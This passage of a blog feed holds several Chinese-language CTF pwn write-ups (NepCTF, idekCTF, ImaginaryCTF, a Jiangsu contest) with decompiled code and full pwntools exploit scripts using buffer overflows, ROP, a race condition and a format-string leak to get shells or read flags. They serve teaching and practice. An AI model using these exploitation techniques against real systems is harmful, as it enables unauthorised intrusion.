.text:0000000000401C04 028                 mov     rdi, rax        ; command
.text:0000000000401C07 028                 call    _system
.text:0000000000401C07     ;   } // starts at 401BFB
.text:0000000000401C0C 028                 nop
.text:0000000000401C0D 028                 call    ___cxa_end_catch
.text:0000000000401C12 028                 jmp     short loc_401C2B
.text:0000000000401C14     ; ---------------------------------------------------------------------------
.text:0000000000401C14     ;   cleanup() // owned by 401BFB
.text:0000000000401C14 000                 endbr64
.text:0000000000401C18 000                 mov     rbx, rax
.text:0000000000401C1B 000                 call    ___cxa_end_catch
.text:0000000000401C20 000                 mov     rax, rbx
.text:0000000000401C23 000                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:0000000000401C26 000                 call    __Unwind_Resume
.text:0000000000401C2B     ; ---------------------------------------------------------------------------
.text:0000000000401C2B
.text:0000000000401C2B     loc_401C2B:                             ; CODE XREF: sub_401B8F+83↑j
.text:0000000000401C2B 028                 mov     rbx, [rbp+var_8]
.text:0000000000401C2F 028                 leave
.text:0000000000401C30 000                 retn
.text:0000000000401C30     ; } // starts at 401B8F
.text:0000000000401C30     sub_401B8F      endp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们注意到上面这个 &lt;code&gt;sub_401B8F&lt;/code&gt; 函数的 catch 逻辑中有隐藏后门，它将 &lt;code&gt;rbp+command&lt;/code&gt; 处的值作为 rdi，调用 system。如果我们控制这个值为 &lt;code&gt;/bin/sh&lt;/code&gt; 的话，我们就可以 get shell。于此同时，最重要的是，这个后门 catch handler 是属于 &lt;code&gt;catch(char const*)&lt;/code&gt; 的，和我们抛出的 src 类型一样，所以如果我们返回到这个 handler，是可以执行的。&lt;/p&gt;
&lt;p&gt;经过调试发现，这个 &lt;code&gt;rbp+command&lt;/code&gt; 其实就是第九项的内容，那么我们只要将第九项修改为 &lt;code&gt;/bin/sh&lt;/code&gt;，然后返回到含有后门的 catch handler 起始地址即可。由于没开 PIE，所以可以直接通过 IDA 确定地址。为了方便查看，catch handler 的地址我在上面用绿色标记了，免得大家不知道 exp 中的魔数是哪里来的。&lt;/p&gt;
&lt;p&gt;最后，这是我第一次学习 C 艹 异常处理 pwn，写的也不是很详细。后续我会单独写一篇，也可能是几篇博客从头再梳理一下这方面的利用思路。这几天就会开工，到时候加入到 &lt;a href=&quot;/posts/pwn-notes/pwn-trick-notes/&quot;&gt;Beyond Basics: The Dark Arts of Binary Exploitation&lt;/a&gt; 里，从此我收录的技巧也开始变得高级起来～&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def trace(log_details, check):
    target.sendlineafter(b&quot;Your chocie:&quot;, b&quot;1&quot;)
    target.sendlineafter(b&quot;You can record log details here: &quot;, log_details)
    target.sendlineafter(b&quot;Do you need to check the records? &quot;, check)


def warn(msg):
    target.sendlineafter(b&quot;Your chocie:&quot;, b&quot;2&quot;)
    target.sendlineafter(b&quot;[!] Type your message here plz: &quot;, msg)


def exit():
    target.sendlineafter(b&quot;Your chocie:&quot;, b&quot;3&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    trace(b&quot;A&quot; * 0x8, b&quot;y&quot;)
    trace(b&quot;A&quot; * 0x8, b&quot;y&quot;)
    trace(b&quot;A&quot; * 0x8, b&quot;y&quot;)
    trace(b&quot;A&quot; * 0x8, b&quot;y&quot;)
    trace(b&quot;A&quot; * 0x8, b&quot;y&quot;)
    trace(b&quot;A&quot; * 0x8, b&quot;y&quot;)
    trace(b&quot;A&quot; * 0x8, b&quot;y&quot;)
    raw_input(&quot;DEBUG&quot;)
    trace(b&quot;A&quot; * 0x10, b&quot;y&quot;)
    trace(b&quot;/bin/sh\x00&quot;, b&quot;y&quot;)

    payload = flat(
        b&quot;A&quot; * 0x70,
        elf.bss(),
        0x401BC7,
    )
    warn(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Write-ups: 2025 年江苏省第七届大学生网络空间安全知识技能大赛预赛</title><link>https://cubeyond.net/posts/write-ups/2025-%E6%B1%9F%E8%8B%8F%E7%9C%81%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E5%AE%89%E5%85%A8%E7%9F%A5%E8%AF%86%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E9%A2%84%E8%B5%9B/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/2025-%E6%B1%9F%E8%8B%8F%E7%9C%81%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E5%AE%89%E5%85%A8%E7%9F%A5%E8%AF%86%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E9%A2%84%E8%B5%9B/</guid><description>2025 年江苏省第七届大学生网络空间安全知识技能大赛预赛 Pwn 方向 AK。</description><pubDate>Sun, 21 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;打个酱油辅助一下……难以想象整个比赛就这一道 Pwn，也是体验了一波 AK 完睡觉的感觉……&lt;/p&gt;
&lt;h1&gt;Pwn&lt;/h1&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-ups&lt;/h2&gt;
&lt;p&gt;保护全开，不过就一个很小的 main 函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *ptr; // rbx
  char *buf; // rbp
  size_t write_size; // rdx
  size_t size[5]; // [rsp+0h] [rbp-28h] BYREF

  size[1] = __readfsqword(0x28u);
  setup();
  puts(&quot;Welcome.&quot;);
  ptr = malloc(0x40000u);
  *ptr = 1;
  _printf_chk(1, &quot;Leak: %p\n&quot;);
  _printf_chk(1, &quot;Length of your message: &quot;);
  size[0] = 0;
  _isoc99_scanf(&quot;%lu&quot;, size);
  buf = (char *)malloc(size[0]);
  _printf_chk(1, &quot;Enter your message: &quot;);
  read(0, buf, size[0]);
  write_size = size[0];
  buf[size[0] - 1] = 0;
  write(1, buf, write_size);
  if ( !*ptr )
    system(&quot;cat /flag&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一开始想的是堆溢出，后来调试了一下发现是不可能的（当时还因为没有 libc，手动 patch 出毛病，pwndbg 检查不了 heap 等一系列问题浪费了将近一小时……），然后想着有没有可能改 read 的 size、是不是和整数溢出有关……结果就是，都错了。&lt;/p&gt;
&lt;p&gt;不过在思考整数溢出的时候，倒是给了我一些灵感。一开始也不知道如果和整数溢出有关的话应该做点啥，就直接输入经典的 -1 调试了一下，发现 malloc 因为请求值太大而失败了，于是乎，就有了下面的解决方案：&lt;/p&gt;
&lt;p&gt;程序首先 malloc 返回一个地址，然后将其启始处的值设为 1。之后 if 判断这个值是否为 0, 为 0 就 cat flag 。所以目标自然是将这个值清零。&lt;/p&gt;
&lt;p&gt;如果我们给 malloc 传入一个巨大的 size，malloc 会直接失败，返回 0，这样一来 buf 就变成了 NULL 。接着下面的 read 就会向空指针处写入值，也必然失败。由于程序没有检查 malloc 和 read 的返回值，所以会无视错误继续运行。接下来 &lt;code&gt;buf[size[0] - 1] = 0&lt;/code&gt; 就相当于 &lt;code&gt;((char *)NULL)[size[0] - 1] = 0&lt;/code&gt;，也就是 &lt;code&gt;*(size[0] - 1) = 0&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;size[0]&lt;/code&gt; 是我们输入的 size，那我们就获得了一个任意地址写。令 size 为泄漏出来的地址加一，它就会将泄漏出来的地址处的值清空，成功绕过 if 检测。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)


FILE = &quot;./patched&quot;
HOST, PORT = &quot;new.mhxaskills.cn&quot;, 33662

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b&quot;Leak: &quot;)
    leak = int(target.recvline().strip(), 16)

    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;Length of your message: &quot;, str(leak + 1).encode())
    target.sendlineafter(b&quot;Enter your message: &quot;, b&quot;A&quot;)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;flag{15655165-6d36-e11d-4e83-5f14cb5d1da5}&lt;/code&gt;]&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: NepCTF 2025</title><link>https://cubeyond.net/posts/write-ups/nepctf-2025/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/nepctf-2025/</guid><description>Write-ups for NepCTF 2025 pwn aspect.</description><pubDate>Sat, 20 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Time&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: Unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Unknown&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;当时直接被别的 pwn 题吓跑了，感觉一道也做不出来……今天来复现一下这道 race condition 的题。没看 wp 自己做出来了，草啊，为啥当时不去试试别的题呢？&lt;/p&gt;
&lt;p&gt;其实我没学过 race condition，但是因为看过 CSAPP，所以也知道个大概 ba，下面写一下思路。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  get_name();
  while ( 1 )
  {
    while ( !(unsigned int)get_filename() )
      ;
    pthread_create(newthread, 0, (void *(*)(void *))start_routine, 0);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先是这个 &lt;code&gt;get_name&lt;/code&gt; 函数，里面先获取了用户名，保存到 bss 中的 &lt;code&gt;format_0&lt;/code&gt;。然后 fork 出来一个子进程，执行 &lt;code&gt;/bin/ls / -al&lt;/code&gt;，并在回收子进程后返回到 main 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 get_name()
{
  char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(&quot;please input your name:&quot;);
  __isoc99_scanf(&quot;%100s&quot;, format_0);
  puts(&quot;I will tell you all file names in the current directory!&quot;);
  argv[0] = &quot;/bin/ls&quot;;
  argv[1] = &quot;/&quot;;
  argv[2] = &quot;-al&quot;;
  argv[3] = 0;
  if ( !fork() )
    execve(&quot;/bin/ls&quot;, argv, 0);
  wait(0);
  puts(&quot;good luck :-)&quot;);
  return v2 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回后进入 main 中的无限循环，先调用了 &lt;code&gt;get_filename&lt;/code&gt; 函数，读取到的文件名保存在 bss 中的 &lt;code&gt;file&lt;/code&gt; 这个位置，然后判断输入的文件名是否为 flag，如果是 flag 就返回 0，接着返回到 main 重新运行这个函数。所以为了让它继续往下执行，我们这里不能直接输入 flag 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 get_filename()
{
  puts(&quot;input file name you want to read:&quot;);
  __isoc99_scanf(&quot;%s&quot;, file);
  if ( !strstr(file, &quot;flag&quot;) )
    return 1;
  puts(&quot;flag is not allowed!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;往下看，有个创建子线程的 &lt;code&gt;pthread_create&lt;/code&gt; 调用，它会创建一个子线程执行 &lt;code&gt;start_routine&lt;/code&gt;。根据运行测试 plus 逻辑分析，我们知道这个函数中调用的其它不知名功能应该就是用来计算 md5 的。细节我们不去管它，直接看宏观逻辑的话，应该是计算好 md5 后逐字节输出，然后清空 buf 用于保存后面 open 打开的文件的内容。之后有个格式化字符串漏洞，使用的格式化字符串是我们一开始在 get_name 中输入的内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 __fastcall start_routine(void *a1)
{
  unsigned int n; // eax
  int i; // [rsp+4h] [rbp-46Ch]
  int j; // [rsp+8h] [rbp-468h]
  int fd; // [rsp+Ch] [rbp-464h]
  _DWORD v6[24]; // [rsp+10h] [rbp-460h] BYREF
  _BYTE v7[16]; // [rsp+70h] [rbp-400h] BYREF
  _BYTE buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+468h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  sub_1329(v6);
  n = strlen(file);
  sub_1379(v6, file, n);
  sub_14CB(v6, (__int64)v7);
  puts(&quot;I will tell you last file name content in md5:&quot;);
  for ( i = 0; i &amp;lt;= 15; ++i )
    printf(&quot;%02X&quot;, (unsigned __int8)v7[i]);
  putchar(0xA);
  for ( j = 0; j &amp;lt;= 999; ++j )
    buf[j] = 0;
  fd = open(file, 0);
  if ( fd &amp;gt;= 0 )
  {
    read(fd, buf, 0x3E8u);
    close(fd);
    printf(&quot;hello &quot;);
    printf(format_0);
    puts(&quot; ,your file read done!&quot;);
  }
  else
  {
    puts(&quot;file not found!&quot;);
  }
  return v9 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题的思路就是，首先让它获取一个非 flag 的文件名，如此我们才能够创建子线程调用 &lt;code&gt;start_routine&lt;/code&gt;。而解题的关键在于这里执行子进程和执行父进程之间存在一个 race condition 。&lt;/p&gt;
&lt;p&gt;由于程序是并发执行的，运行一段时间主线程就会运行一段时间子线程，而主线程和子线程到底是哪个先运行，这是无法预测的。可能先跑子线程，跑完跑主线程，也可能先跑主线程，然后跑子线程……假设我们就是先跑了主线程，那我们就又回到了 &lt;code&gt;get_filename&lt;/code&gt;，我们就可以输入 &lt;code&gt;flag&lt;/code&gt;，覆盖原先为了创建子线程而使用的其它文件名，而由于输入是直接用 scanf 写到 bss 的，所以后面那个检测是不是 flag 的判断我们可以直接忽视。这样一来，我们再去执行子线程的时候 open 打开的就是 flag 了。&lt;/p&gt;
&lt;p&gt;那我们怎么知道它一定会先跑一会儿主线程呢？这涉及了一些更底层的知识，我个人的理解是，由于现代计算机中的程序都是并发运行的，而每个线程都有一个固定的很短的执行周期，一旦这个执行周期耗尽，就会切换到另一个进程去执行，然后切换回来，继续执行刚才被切走的线程，如此反复……由于子线程中计算 md5 的时候调用的函数会占用大量的时钟周期，所以说如果我们现在在执行子线程，那在需要如此多时钟周期 + 如此短的并发周期内，它肯定不可能完成子线程的执行，也就是说必然会中途暂停了去执行主线程。那自然就可以推导出我们必然可以覆盖文件名的内容，让子线程打开我们想要打开的文件……&lt;/p&gt;
&lt;p&gt;OK，现在我们知道怎么把 flag 读到内存中了，结合后面那个格式化字符串漏洞，我们就可以泄漏出内存中的 flag，非常简单。没想到我的第一道 race condition challenge 就这样挑战成功了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;%22$p-%23$p&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;name:&quot;, payload)
    target.sendline(b&quot;aaaa&quot;)
    target.sendline(b&quot;flag&quot;)
    target.recvuntil(b&quot;hello &quot;)

    resp = target.recvuntil(b&quot; ,&quot;).split(b&quot;-&quot;)
    flag_p1 = bytes.fromhex(resp[0].decode()[2:])[::-1].decode()
    flag_p2 = bytes.fromhex(&quot;0&quot; + resp[1].decode()[2:-2])[::-1].decode()
    flag = flag_p1 + flag_p2
    target.success(flag)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Write-ups: idekCTF 2025</title><link>https://cubeyond.net/posts/write-ups/idekctf-2025/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/idekctf-2025/</guid><description>Write-ups for idekCTF 2025 pwn aspect.</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Little ROP&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 362&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;No PIE, no canary. Perfect setup for ROP. Show me what you can do!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up 1&lt;/h2&gt;
&lt;p&gt;840+ 支队伍，结果这题只有 27 个解，说实话一开始以为是签到题，结果没想到那么难……总之这题质量还是不错的，后期一定要回头深挖一下……&lt;/p&gt;
&lt;p&gt;这题解法还挺多的，据我所知就有三种方法，我这里依次记录，就叫 Write-ups 1, 2, 3 吧，学习一下。&lt;/p&gt;
&lt;p&gt;首先这个方法 1，也是我当时想到的方法，就是覆盖 &lt;code&gt;setbuf&lt;/code&gt; 的 got 表为 one_gadget 的地址。但是后来发现找不到合适的 one_gadget……&lt;/p&gt;
&lt;p&gt;这里记录的是和这个方法差不多的变体，注意到下面这个函数里面分别调用了三次 setbuf，用到了两个参数，其中 &lt;code&gt;stdin&lt;/code&gt;, &lt;code&gt;stdout&lt;/code&gt;, &lt;code&gt;stderr&lt;/code&gt; 都位于 bss 段，作为 rdi 的参数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __fastcall setup(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就给了我们一个控制 rdi 的 gadget，我们可以把 &lt;code&gt;/bin/sh&lt;/code&gt; 写在已知的地址，选一个 rdi gadget 用于设置 rdi 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; Attributes: bp-based frame

; void __fastcall setup(int argc, const char **argv, const char **envp)
public setup
setup proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
mov     rax, cs:stdin@GLIBC_2_2_5
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setbuf
mov     rax, cs:stdout@GLIBC_2_2_5
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setbuf
mov     rax, cs:stderr@GLIBC_2_2_5
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setbuf
nop
pop     rbp
retn
; } // starts at 401156
setup endp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后我们 partial overwrite setbuf 的低三字节为 &lt;code&gt;system&lt;/code&gt; 的偏移，就有 $1/16$ 的概率命中 system 。&lt;/p&gt;
&lt;p&gt;但是实际调试的时候发现在进入 &lt;code&gt;do_system&lt;/code&gt; 后的栈操作会将我们本就不高的栈地址一直缩小，最后 RSP 变成了只读地址，然后向只读地址之写入数据，导致访问不可写地址而 abort 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
0x00007fee1bf5b93e in do_system (line=0x404010 &quot;&quot;) at ../sysdeps/posix/system.c:102
102 in ../sysdeps/posix/system.c
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0xcdd2ecfdc1a6800
 RBX  0x404010 (_GLOBAL_OFFSET_TABLE_+16) ◂— 0
 RCX  0x7fee1c01f7e2 (read+18) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  1
 RDI  0x404010 (_GLOBAL_OFFSET_TABLE_+16) ◂— 0
 RSI  0
 R8   0x7fee1c126f10 (initial+16) ◂— 4
 R9   0x7fee1c147040 (_dl_fini) ◂— endbr64
 R10  0x7fee1bf115e8 ◂— 0xf001200001a64
 R11  0x246
 R12  0x7fff1d8a7218 —▸ 0x7fff1d8a7edb ◂— &apos;/home/user/chall&apos;
 R13  0x7fee1c1277a0 (quit) ◂— 0
 R14  0x7fee1c127840 (intr) ◂— 0
 R15  0x7fee1c17b040 (_rtld_global) —▸ 0x7fee1c17c2e0 ◂— 0
 RBP  0
 RSP  0x403c80 ◂— 0
 RIP  0x7fee1bf5b93e (do_system+62) ◂— mov qword ptr [rsp + 0x378], rax
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x7fee1bf5b926 &amp;lt;do_system+38&amp;gt;     punpcklqdq xmm1, xmm2
   0x7fee1bf5b92a &amp;lt;do_system+42&amp;gt;     push   rbx
   0x7fee1bf5b92b &amp;lt;do_system+43&amp;gt;     mov    rbx, rdi
   0x7fee1bf5b92e &amp;lt;do_system+46&amp;gt;     sub    rsp, 0x388
   0x7fee1bf5b935 &amp;lt;do_system+53&amp;gt;     mov    rax, qword ptr fs:[0x28]               RAX, [0x7fee1bf08768]
 ► 0x7fee1bf5b93e &amp;lt;do_system+62&amp;gt;     mov    qword ptr [rsp + 0x378], rax           [0x403ff8] &amp;lt;= 0xcdd2ecfdc1a6800
   0x7fee1bf5b946 &amp;lt;do_system+70&amp;gt;     xor    eax, eax                               EAX =&amp;gt; 0
   0x7fee1bf5b948 &amp;lt;do_system+72&amp;gt;     mov    dword ptr [rsp + 0x18], 0xffffffff     [0x403c98] &amp;lt;= 0xffffffff
   0x7fee1bf5b950 &amp;lt;do_system+80&amp;gt;     mov    qword ptr [rsp + 0x180], 1             [0x403e00] &amp;lt;= 1
   0x7fee1bf5b95c &amp;lt;do_system+92&amp;gt;     mov    dword ptr [rsp + 0x208], 0             [_DYNAMIC+104] &amp;lt;= 0
   0x7fee1bf5b967 &amp;lt;do_system+103&amp;gt;    mov    qword ptr [rsp + 0x188], 0             [0x403e08] &amp;lt;= 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x403c80 ◂— 0
... ↓        7 skipped
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x7fee1bf5b93e do_system+62
   1         0x401186 setup+48
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; vmmap 0x403c80+0x378
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
          0x402000           0x403000 r--p     1000   4000 chall_patched
►         0x403000           0x404000 r--p     1000   4000 chall_patched +0xff8
          0x404000           0x405000 rw-p     1000   5000 chall_patched
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解决方法是在覆盖 setbuf 之后那个 read 执行完栈迁移后再想办法给它迁移到更高的地址去，但是覆盖 setbuf 后继续写 rop 的话会破坏 setbuf 的高位地址……不知道是不是 skill 问题，反正就是有问题……&lt;/p&gt;
&lt;p&gt;所以我还有一个想法就是，或许第一次 setbuf 先覆盖为 puts 的地址，泄漏 got 中的 libc，然后再用原先的方式控制 rdi，执行 system 。太懒了，下次再研究……&lt;/p&gt;
&lt;p&gt;虽然我测试是失败了，无论是本地还是远程调试 docker 内的 chall，但比赛当天有人用同样的思路，打通了……很奇怪，感觉不可思议……&lt;/p&gt;
&lt;h2&gt;Exploit 1&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = &quot;./chall&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;./libc.so.6&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x4011A9
    leave_ret = 0x4011C0
    ret = 0x4011C1
    control_rdi = 0x401186
    store_binsh = 0x404080
    binsh = 0x404068
    system = libc.sym[&quot;system&quot;]

    target.success(f&quot;system: {hex(system)}&quot;)
    target.success(f&quot;setbuf@got: {hex(elf.got[&apos;setbuf&apos;])}&quot;)

    payload = flat(
        b&quot;A&quot; * 32,
        store_binsh,  # first_read rbp (store /bin/sh in `store_binsh - 0x20`)
        read,
        binsh,
        b&quot;/bin/sh\x00&quot;,
        b&quot;B&quot; * 0x10,
        store_binsh - 0x30,  # rbp (for more ROP) 0x404040
        read,
        b&quot;C&quot; * 0x10,
        control_rdi,
        b&quot;D&quot; * 0x8,
        elf.got[&quot;setbuf&quot;] + 0x20,  # rbp
        read,  # after this, pivot to higher stack...? seems impossible !
        b&quot;\x70\x0d\x05&quot;,  # system
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Write-up 2&lt;/h2&gt;
&lt;p&gt;据说预期解是 &lt;code&gt;ret2lresolve&lt;/code&gt;，崩溃，留作 TODO，有空再研究。&lt;/p&gt;
&lt;h2&gt;Exploit 2&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h2&gt;Write-up 3&lt;/h2&gt;
&lt;p&gt;还有一个解是使用 &lt;code&gt;add dword ptr [rbp - 0x3d], ebx; nop; ret&lt;/code&gt; gadget，后面有空再研究，崩溃的我现在只想躺床上睡一天……&lt;/p&gt;
&lt;h2&gt;Exploit 3&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: ImaginaryCTF 2025</title><link>https://cubeyond.net/posts/write-ups/imaginaryctf-2025/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/imaginaryctf-2025/</guid><description>Write-ups for ImaginaryCTF 2025 pwn aspect.</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;cascade&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Difficulty: Medium&lt;/li&gt;
&lt;li&gt;Points: 292&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;just a buffer overflow, right?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;64 字节的缓冲区，512 字节的输入，Partial RELRO，没 gadgets，没 libc……当时想到的就是打 &lt;code&gt;ret2dlresolve&lt;/code&gt;，解析 system，最后虽然我成功带着参数进入了 system，并且执行 system 的过程中没有出现问题，但是却并没有得到 shell 。很费解，只记得当时调试到凌晨三点都没找到问题，可惜我已经把之前的 exp 删掉了……&lt;/p&gt;
&lt;p&gt;后来看了下官方的 wp，也是 ret2dlresolve，并且和我一样都是用 pwntools 直接生成的 fake structures，甚至都是解析的 system，唯一的区别是我当时直接把 system 的参数也写到结构体里面了，当时也没搞明白是为啥，明明没有 rdi gadget 的，但它却可以自动设置一个参数，我也没用 rop 功能，就是手动调用。而官方 wp 是手动设置的参数。当时我并没有找到手动设置参数的方法……复现的时候才发现，原来那么简单。&lt;/p&gt;
&lt;p&gt;其实我复现官方 wp 的时候，发现本地也还是打不通，虽然也成功执行了 system，不禁让我怀疑我当时是不是只要远程测试一下说不定就通了，我艹哦，感觉损失了一个亿，好难过……&lt;/p&gt;
&lt;p&gt;ropper 发现，程序并没有控制参数的 gadgets，所以我们就算能解析出来 system 的地址也没用，还得想办法给它传参。&lt;/p&gt;
&lt;p&gt;这好办，注意到 main 函数调用了两个 &lt;code&gt;setvbuf&lt;/code&gt;，它们第一个参数都来自 bss 段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; Attributes: bp-based frame

; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
mov     rax, cs:stdout@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     rax, cs:stdin@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
